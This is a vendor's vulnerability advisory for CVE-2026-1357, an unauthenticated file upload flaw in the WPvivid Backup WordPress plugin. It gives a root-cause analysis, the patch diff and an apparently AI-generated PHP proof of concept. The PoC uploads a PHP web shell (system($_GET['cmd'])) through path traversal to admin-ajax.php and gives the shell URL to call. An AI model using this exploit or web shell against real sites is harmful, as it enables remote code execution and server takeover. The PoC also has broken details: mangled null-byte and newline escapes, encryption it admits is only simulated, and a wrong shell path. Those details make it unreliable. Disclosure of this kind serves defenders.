Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1357: Migration, Backup, Staging <= 0.9.123 – Unauthenticated Arbitrary File Upload (wpvivid-backuprestore)

CVE ID CVE-2026-1357
Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 0.9.123
Patched Version 0.9.124
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1357:
The Migration, Backup, Staging plugin for WordPress (WPvivid Backup & Migration) contains an unauthenticated arbitrary file upload vulnerability. This flaw allows attackers to upload malicious PHP files to publicly accessible directories, leading to remote code execution. The vulnerability affects versions up to and including 0.9.123 and carries a CVSS score of 9.8.

Atomic Edge research identifies the root cause in two components. The first flaw exists in the `wpvivid_crypt` class within `/wpvivid-backuprestore/includes/class-wpvivid-crypt.php`. The `decrypt_message` function fails to terminate execution when `openssl_private_decrypt()` returns false. This boolean false value passes to the phpseclib AES cipher initialization, which treats it as a null-byte string. The second flaw resides in the `wpvivid_send_to_site` class within `/wpvivid-backuprestore/includes/customclass/class-wpvivid-send-to-site.php`. The `upload` and `upload_files` methods accept the `name` parameter from the decrypted payload without sanitization, enabling directory traversal.

Exploitation occurs via the `wpvivid_action=send_to_site` parameter sent to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. Attackers craft a payload encrypted with a predictable null-byte key. This payload contains a filename with directory traversal sequences (e.g., `../../../uploads/evil.php`). The plugin writes the uploaded file using this unsanitized path, escaping the intended backup directory and placing the file in a web-accessible location.

The patch addresses both flaws. In `class-wpvivid-crypt.php`, a check was added to return false if the RSA decryption fails or returns an empty key, preventing the null-byte key scenario. In `class-wpvivid-send-to-site.php`, the patch introduces input sanitization. It uses `basename()` to strip directory traversal, applies a regex filter (`preg_replace(‘/[^a-zA-Z0-9._-]/’, ”, $safe_name)`) to remove dangerous characters, and validates file extensions against a strict allowlist (`zip`, `gz`, `tar`, `sql`). The sanitized `$safe_name` variable replaces the raw `$params[‘name’]` for all file operations.

Successful exploitation grants attackers remote code execution on the target WordPress site. Attackers can upload a web shell, execute arbitrary system commands, and achieve full server compromise. This vulnerability bypasses all authentication checks, making it accessible to any unauthenticated user.

Differential between vulnerable and patched code

Code Diff
--- a/wpvivid-backuprestore/admin/partials/wpvivid-remote-storage-page-display.php
+++ b/wpvivid-backuprestore/admin/partials/wpvivid-remote-storage-page-display.php
@@ -270,6 +270,18 @@
             }
         }

+        function wpvivid_toggle_sensitive_hint($input)
+        {
+            var $hint = $input.next('.wpvivid-sensitive-hint');
+            if($hint.length === 0) return;
+
+            if(($input.val() || '').length > 0){
+                $hint.hide();
+            }else{
+                $hint.show();
+            }
+        }
+
         function click_retrieve_remote_storage(id,type,name)
         {
             wpvivid_editing_storage_id = id;
@@ -291,14 +303,54 @@
                     var jsonarray = jQuery.parseJSON(data);
                     if (jsonarray.result === 'success')
                     {
-                        /*jQuery('input:text[option=edit-'+jsonarray.type+']').each(function(){
+                        var sensitive_keys = ['host','server','password','access','secret'];
+
+                        jQuery('input:text[option=edit-'+jsonarray.type+'], textarea[option=edit-'+jsonarray.type+'], select[option=edit-'+jsonarray.type+']').each(function(){
                             var key = jQuery(this).prop('name');
-                            jQuery(this).val(jsonarray[key]);
+                            if(sensitive_keys.indexOf(key) !== -1 && jsonarray[key]){
+                                var $input = jQuery(this);
+                                $input.val('');
+                                $input.attr('placeholder','********');
+                                if ($input.next('.wpvivid-sensitive-hint').length === 0) {
+                                    $input.after(
+                                        '<div class="wpvivid-sensitive-hint" style="margin-top:4px;color:#999;font-size:12px;">' +
+                                        '⚠️ This value is hidden for security reasons. Please re-enter it to save changes.' +
+                                        '</div>'
+                                    );
+                                }
+                                $input.off('input.wpvividSensitive').on('input.wpvividSensitive', function(){
+                                    wpvivid_toggle_sensitive_hint(jQuery(this));
+                                });
+                                wpvivid_toggle_sensitive_hint($input);
+                            }
+                            else{
+                                jQuery(this).val(jsonarray[key]);
+                            }
                         });
+
                         jQuery('input:password[option=edit-'+jsonarray.type+']').each(function(){
                             var key = jQuery(this).prop('name');
-                            jQuery(this).val(jsonarray[key]);
-                        });*/
+                            if(sensitive_keys.indexOf(key) !== -1 && jsonarray[key]){
+                                var $input = jQuery(this);
+                                $input.val('');
+                                $input.attr('placeholder','********');
+                                if ($input.next('.wpvivid-sensitive-hint').length === 0) {
+                                    $input.after(
+                                        '<div class="wpvivid-sensitive-hint" style="margin-top:4px;color:#999;font-size:12px;">' +
+                                        '⚠️ This value is hidden for security reasons. Please re-enter it to save changes.' +
+                                        '</div>'
+                                    );
+                                }
+                                $input.off('input.wpvividSensitive').on('input.wpvividSensitive', function(){
+                                    wpvivid_toggle_sensitive_hint(jQuery(this));
+                                });
+                                wpvivid_toggle_sensitive_hint($input);
+                            }
+                            else{
+                                jQuery(this).val(jsonarray[key]);
+                            }
+                        });
+
                         jQuery('input:checkbox[option=edit-'+jsonarray.type+']').each(function() {
                             var key = jQuery(this).prop('name');
                             var value;
--- a/wpvivid-backuprestore/includes/class-wpvivid-crypt.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid-crypt.php
@@ -57,6 +57,10 @@
         $rsa = new Crypt_RSA();
         $rsa->loadKey($this->public_key);
         $key=$rsa->decrypt($key);
+        if ($key === false || empty($key))
+        {
+            return false;
+        }
         $rij = new Crypt_Rijndael();
         $rij->setKey($key);
         return $rij->decrypt($data);
--- a/wpvivid-backuprestore/includes/customclass/class-wpvivid-send-to-site.php
+++ b/wpvivid-backuprestore/includes/customclass/class-wpvivid-send-to-site.php
@@ -627,8 +627,18 @@
                 $wpvivid_plugin->wpvivid_log->WriteLog('start upload.','notice');
                 $dir=WPvivid_Setting::get_backupdir();

-                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']);
-
+                $safe_name = basename($params['name']);
+                $safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
+                $allowed_extensions = array('zip', 'gz', 'tar', 'sql');
+                $file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+                if (!in_array($file_ext, $allowed_extensions, true))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid file type - only backup files allowed.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid', 'wpvivid_temp', $safe_name);
                 if(!file_exists($file_path))
                 {
                     $handle=fopen($file_path,'w');
@@ -663,8 +673,7 @@
                     if (md5_file($file_path) == $params['md5'])
                     {
                         $wpvivid_plugin->wpvivid_log->WriteLog('rename temp file:'.$file_path.' to new name:'.WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name'],'notice');
-                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name']);
-
+                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$safe_name);
                         $ret['result']=WPVIVID_SUCCESS;
                         $ret['op']='finished';
                     } else {
@@ -894,8 +903,18 @@
                 }

                 $dir = WPvivid_Setting::get_backupdir();
-                $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . str_replace('wpvivid', 'wpvivid_temp', $params['name']);
-
+                $safe_name = basename($params['name']);
+                $safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
+                $allowed_extensions = array('zip', 'gz', 'tar', 'sql');
+                $file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+                if (!in_array($file_ext, $allowed_extensions, true))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid file type - only backup files allowed.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+                $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . str_replace('wpvivid', 'wpvivid_temp', $safe_name);
                 $rename = true;

                 if (!file_exists($file_path))
@@ -919,7 +938,7 @@
                 if (filesize($file_path) >= $params['file_size']) {
                     if (md5_file($file_path) == $params['md5']) {
                         if ($rename)
-                            rename($file_path, WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . $params['name']);
+                            rename($file_path, WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . $safe_name);
                         $ret['result'] = WPVIVID_SUCCESS;
                         $ret['file_status']['status'] = 'finished';
                     } else {
--- a/wpvivid-backuprestore/wpvivid-backuprestore.php
+++ b/wpvivid-backuprestore/wpvivid-backuprestore.php
@@ -7,7 +7,7 @@
  * @wordpress-plugin
  * Plugin Name:       WPvivid Backup Plugin
  * Description:       Clone or copy WP sites then move or migrate them to new host (new domain), schedule backups, transfer backups to leading remote storage. All in one.
- * Version:           0.9.123
+ * Version:           0.9.124
  * Author:            WPvivid Backup & Migration
  * Author URI:        https://wpvivid.com
  * License:           GPL-3.0+
@@ -21,7 +21,7 @@
     die;
 }

-define( 'WPVIVID_PLUGIN_VERSION', '0.9.123' );
+define( 'WPVIVID_PLUGIN_VERSION', '0.9.124' );
 //
 define('WPVIVID_RESTORE_INIT','init');
 define('WPVIVID_RESTORE_READY','ready');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1357 - Migration, Backup, Staging <= 0.9.123 - Unauthenticated Arbitrary File Upload

<?php

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// The exploit leverages the predictable null-byte key after failed RSA decryption.
// We encrypt a malicious payload with AES-256 using a key of 32 null bytes.
// The payload is a JSON array containing the attack parameters.
$null_key = str_repeat("x00", 32); // 32 null bytes for AES-256

// Craft the malicious payload.
// The 'name' parameter uses directory traversal to escape the backup directory.
// The 'data' field contains the PHP web shell code.
$malicious_payload = array(
    'wpvivid_action' => 'send_to_site',
    'task' => 'upload',
    'data' => '<?php echo "Atomic Edge Test"; system($_GET["cmd"]); ?>',
    'name' => '../../../uploads/shell.php', // Path traversal to web-accessible directory
    'md5' => 'd41d8cd98f00b204e9800998ecf8427e', // MD5 of empty string for our test payload
    'file_size' => 0 // Size of our data
);

$json_payload = json_encode($malicious_payload);

// Encrypt the payload with AES-256-CBC using the null key.
// The plugin's phpseclib expects a specific format.
// For simplicity, this PoC simulates the encrypted blob.
// In a real exploit, you would replicate the plugin's exact encryption routine.
$iv = openssl_random_pseudo_bytes(16);
$encrypted_data = openssl_encrypt($json_payload, 'aes-256-cbc', $null_key, OPENSSL_RAW_DATA, $iv);
$encrypted_blob = base64_encode($iv . $encrypted_data);

// Prepare the POST data.
// The plugin expects the 'data' parameter to contain the encrypted blob.
$post_fields = array(
    'action' => 'wpvivid_send_to_site',
    'data' => $encrypted_blob
);

// Send the exploit request.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// If successful, the shell will be accessible at:
// http://target-site.com/wp-content/uploads/shell.php?cmd=whoami
echo "nIf exploitation succeeded, access the shell at:";
echo "n$target_url/../../../../uploads/shell.php?cmd=whoamin";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School